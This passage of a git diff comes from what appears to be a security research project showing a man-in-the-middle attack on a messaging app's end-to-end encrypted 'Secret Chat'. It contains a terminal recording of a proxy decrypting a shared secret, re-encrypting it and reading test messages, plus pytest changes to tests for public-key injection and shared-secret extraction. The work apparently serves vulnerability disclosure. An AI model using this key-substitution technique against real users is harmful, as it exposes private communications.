[8.818242, "o", "\u001b[36m\u001b[2m[17:27:13.564]\u001b[0m \u001b[33mTrying to decrypt shared secret from SETSK packet...\u001b[0m\r\n"]
|
||||
[8.824421, "o", "\u001b[36m\u001b[2m[17:27:13.570]\u001b[0m \u001b[33mShared secret: b'AAAAAAAAAAAAAAAAAAAAAA=='\u001b[0m\r\n"]
|
||||
[8.824434, "o", "\u001b[36m\u001b[2m[17:27:13.570]\u001b[0m \u001b[33mTrying to re-encrypt shared secret...\u001b[0m\r\n"]
|
||||
[8.824897, "o", "\u001b[36m\u001b[2m[17:27:13.571]\u001b[0m \u001b[33mRe-encrypted shared secret with recipient's original public key.\u001b[0m\r\n"]
|
||||
[8.827122, "o", "\u001b[36m\u001b[2m[17:27:13.573]\u001b[0m \u001b[33mShared secret: b'AAAAAAAAAAAAAAAAAAAAAA==' E2E encryption key: b'H1mnODpo+XZ+SEF8nR8p/ZYpNpAaLBLgB98E0tF+7Ek='\u001b[0m\r\n"]
|
||||
[8.827203, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[9.196109, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[9.200326, "o", "\u001b[36m\u001b[2m[17:27:13.946]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37532]\u001b[0m client disconnect\u001b[0m\r\n"]
|
||||
[9.200563, "o", "\u001b[36m\u001b[2m[17:27:13.946]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37532]\u001b[0m server disconnect 203.133.176.212:5228\u001b[0m\r\n"]
|
||||
[9.207994, "o", "\u001b[36m\u001b[2m[17:27:13.954]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37536]\u001b[0m client connect\u001b[0m\r\n"]
|
||||
[9.513264, "o", "\u001b[36m\u001b[2m[17:27:14.259]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37536]\u001b[0m server connect 203.133.176.212:5228\u001b[0m\r\n"]
|
||||
[9.516665, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[9.517005, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[9.914841, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[9.922923, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[9.926347, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[9.927496, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[9.942153, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[10.32729, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[10.327926, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[10.351394, "o", "\u001b[36m\u001b[2m[17:27:15.097]\u001b[0m \u001b[33mTrying to decrypt Secret Chat message...\u001b[0m\r\n"]
|
||||
[10.358553, "o", "\u001b[36m\u001b[2m[17:27:15.104]\u001b[0m \u001b[33mfrom_client=True, Secret Chat message=This is a test\u001b[0m\r\n"]
|
||||
[10.358583, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[10.617857, "o", "\u001b[36m\u001b[2m[17:27:15.363]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:23165]\u001b[0m Closing connection due to inactivity: Client(10.0.0.1:23165, state=open)\u001b[0m\r\n"]
|
||||
[10.619493, "o", "\u001b[36m\u001b[2m[17:27:15.364]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:31319]\u001b[0m Closing connection due to inactivity: Client(10.0.0.1:31319, state=open)\u001b[0m\r\n"]
|
||||
[10.621226, "o", "\u001b[36m\u001b[2m[17:27:15.366]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:23165]\u001b[0m client disconnect\u001b[0m\r\n\u001b[36m\u001b[2m[17:27:15.366]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:31319]\u001b[0m client disconnect\u001b[0m\r\n"]
|
||||
[10.731682, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[11.338215, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[11.659369, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[11.686635, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[12.063056, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[13.326544, "o", "\u001b[36m\u001b[2m[17:27:19.072]\u001b[0m \u001b[33mTrying to decrypt Secret Chat message...\u001b[0m\r\n"]
|
||||
[13.333818, "o", "\u001b[36m\u001b[2m[17:27:19.079]\u001b[0m \u001b[33mfrom_client=True, Secret Chat message=Yet another test\u001b[0m\r\n"]
|
||||
[14.333893, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[14.639828, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[14.805868, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[Jfoo@bar % \u001b[K\u001b[?2004h"]
|
BIN
scripts/mitmproxy/secret_chat_demo.gif
Normal file
BIN
scripts/mitmproxy/secret_chat_demo.gif
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.3 MiB |
|
@ -79,8 +79,8 @@ def parser():
|
|||
|
||||
|
||||
@pytest.fixture(params=_LOCO_PACKETS_YAML)
|
||||
def loco_packet_packet(request):
|
||||
with open(Path(request.param), encoding="utf-8") as packet_yaml:
|
||||
def loco_packet_packet(request, shared_datadir):
|
||||
with open((shared_datadir / request.param), encoding="utf-8") as packet_yaml:
|
||||
loco_packet_dict = yaml.load(packet_yaml)
|
||||
|
||||
return LocoPacket(
|
||||
|
@ -103,11 +103,11 @@ def loco_zip(request):
|
|||
return request.param
|
||||
|
||||
|
||||
def test_parse(parser, loco_zip):
|
||||
def test_parse(parser, loco_zip, shared_datadir):
|
||||
encrypted_loco_packet_path, loco_packet_yaml_path = loco_zip
|
||||
|
||||
with open(encrypted_loco_packet_path, "rb") as packet_raw, open(
|
||||
loco_packet_yaml_path, encoding="utf-8"
|
||||
with open((shared_datadir / encrypted_loco_packet_path), "rb") as packet_raw, open(
|
||||
(shared_datadir / loco_packet_yaml_path), encoding="utf-8"
|
||||
) as packet_yaml:
|
||||
encrypted_loco_packet = packet_raw.read()
|
||||
loco_packet_dict = yaml.load(packet_yaml)
|
||||
|
@ -126,13 +126,17 @@ def test_parse(parser, loco_zip):
|
|||
assert parser.loco_packet.get_packet_as_dict() == packet.get_packet_as_dict()
|
||||
|
||||
|
||||
def test_inject_public_key(parser, loco_encrypted_packet):
|
||||
def test_inject_public_key(parser, loco_encrypted_packet, shared_datadir):
|
||||
rsa_key_pair = get_rsa_2048_key_pair()
|
||||
|
||||
with open(Path("encrypted_screate_packet_with_mitm_key.raw"), "rb") as packet_raw:
|
||||
with open(
|
||||
(shared_datadir / "encrypted_screate_packet_with_mitm_key.raw"), "rb"
|
||||
) as packet_raw:
|
||||
encrypted_screate_packet_with_mitm_key = packet_raw.read()
|
||||
|
||||
with open(Path("screate_loco_packet.yaml"), encoding="utf-8") as packet_yaml:
|
||||
with open(
|
||||
(shared_datadir / "screate_loco_packet.yaml"), encoding="utf-8"
|
||||
) as packet_yaml:
|
||||
screate_dict = yaml.load(packet_yaml)
|
||||
|
||||
original_public_key = screate_dict.get("body_payload").get("pi")[0].get("ek")
|
||||
|
@ -159,11 +163,12 @@ def test_inject_public_key(parser, loco_encrypted_packet):
|
|||
)
|
||||
|
||||
|
||||
def test_get_shared_secret(parser):
|
||||
def test_get_shared_secret(parser, shared_datadir):
|
||||
rsa_key_pair = get_rsa_2048_key_pair()
|
||||
|
||||
with open(
|
||||
Path("setsk_loco_packet_sk_enc_with_mitm_key.yaml"), encoding="utf-8"
|
||||
(shared_datadir / "setsk_loco_packet_sk_enc_with_mitm_key.yaml"),
|
||||
encoding="utf-8",
|
||||
) as packet_yaml:
|
||||
setsk_dict = yaml.load(packet_yaml)
|
||||
|
||||
|
@ -189,12 +194,13 @@ def test_get_shared_secret(parser):
|
|||
assert parser.get_shared_secret(rsa_key_pair) == decrypted_shared_secret
|
||||
|
||||
|
||||
def test_encrypt_shared_secret(parser, loco_encrypted_packet):
|
||||
with open(Path("encrypted_setsk_packet.raw"), "rb") as packet_raw:
|
||||
def test_encrypt_shared_secret(parser, loco_encrypted_packet, shared_datadir):
|
||||
with open((shared_datadir / "encrypted_setsk_packet.raw"), "rb") as packet_raw:
|
||||
encrypted_setsk_packet = packet_raw.read()
|
||||
|
||||
with open(
|
||||
Path("setsk_loco_packet_sk_enc_with_mitm_key.yaml"), encoding="utf-8"
|
||||
(shared_datadir / "setsk_loco_packet_sk_enc_with_mitm_key.yaml"),
|
||||
encoding="utf-8",
|
||||
) as packet_yaml:
|
||||
setsk_dict = yaml.load(packet_yaml)
|
||||
|
||||
|
|
Loading…
Reference in New Issue
Block a user